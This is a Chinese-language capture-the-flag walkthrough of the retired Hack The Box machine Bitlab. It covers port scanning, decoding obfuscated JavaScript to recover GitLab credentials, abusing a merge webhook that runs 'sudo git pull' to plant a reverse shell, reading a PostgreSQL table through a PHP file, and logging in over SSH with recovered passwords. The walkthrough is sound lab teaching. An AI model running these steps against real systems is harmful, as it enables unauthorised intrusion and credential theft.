HTB-靶机-Bitlab

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.114

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.114 -o ./Bitlab-autorecon

sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.114
或者

sudo masscan -p1-65535,U:1-65535 10.10.10.114 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
' ',' | sed 's/,$//')
sudo nmap -Pn -sV -sC -p$ports 10.10.10.114

直接IP地址访问其80端口

发现是个gitlab的应用,在爆破目录之前先访问下robots.txt看看

显示不允许的东西太多了,经过测试访问,发现profile和help路径有敏感信息

发现上面显示的help路径里面还有个书签地址,点击进去发现有个Gitlab Login的超链接,在浏览器上直接查看对应显示的前端代码

var _0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65","x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64","x31x31x64x65x73x30x30x38x31x78"];

document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];
}


var _0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65","x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64","x31x31x64x65x73x30x30x38x31x78"];
_0x4b18
["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"]

得到了登录目标靶机的gitlab的账户和密码
clave
11des0081x

 成功登录到目标靶机的gitlab,发现属于管理员Administrator 下有两个仓库文件,分别是Deployer和Profile 翻看了一下

根据上面的信息,发现其中显示index.php代码的内容

<?php

$input = file_get_contents("php://input");
$payload  = json_decode($input);

$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
    echo shell_exec('cd ../profile/; sudo git pull'),"
";
}

echo "OK
";

上述代码大概意思就是在仓库Profile下面,分支是master,同时合并请求就会执行sudo git pull  那么这里就可以上传反弹shell的php代码

成功上传

触发反弹shell,拿普通权限

查看网络链接发现开放了5432端口,确认存在Postgresql数据 想要访问这个数据库,但是目标存在目标靶机上的docker环境中,而且靶机上也没有客户端,只能通过php代码从端口里面访问

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles
password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
print_r(pg_fetch_all($result));
?>

通过echo命令创建php代码文件

使用echo命令追加文件

echo '<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles
password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
print_r(pg_fetch_all($result));
?>' > pg.php

得到了登录目标靶机的ssh登录账户

www-data@bitlab:/tmp$ php -f pg.php
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => clave
            [password] => c3NoLXN0cjBuZy1wQHNz==
        )

)

登录方式:sshpass -p 'c3NoLXN0cjBuZy1wQHNz==' ssh -oStrictHostKeyChecking=no clave@10.10.10.114

在家目录下发现一个二进制文件

使用scp将目标靶机的二进制文件传到本地kali
scp clave@10.10.10.114:RemoteConnection.exe .

二进制分析,目前还不是很擅长,可参考:

https://0xdf.gitlab.io/2020/01/11/htb-bitlab.html

得到root密码

root:Qf7]8YSV.wDNF*[7d?j&eD4^

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14818039.html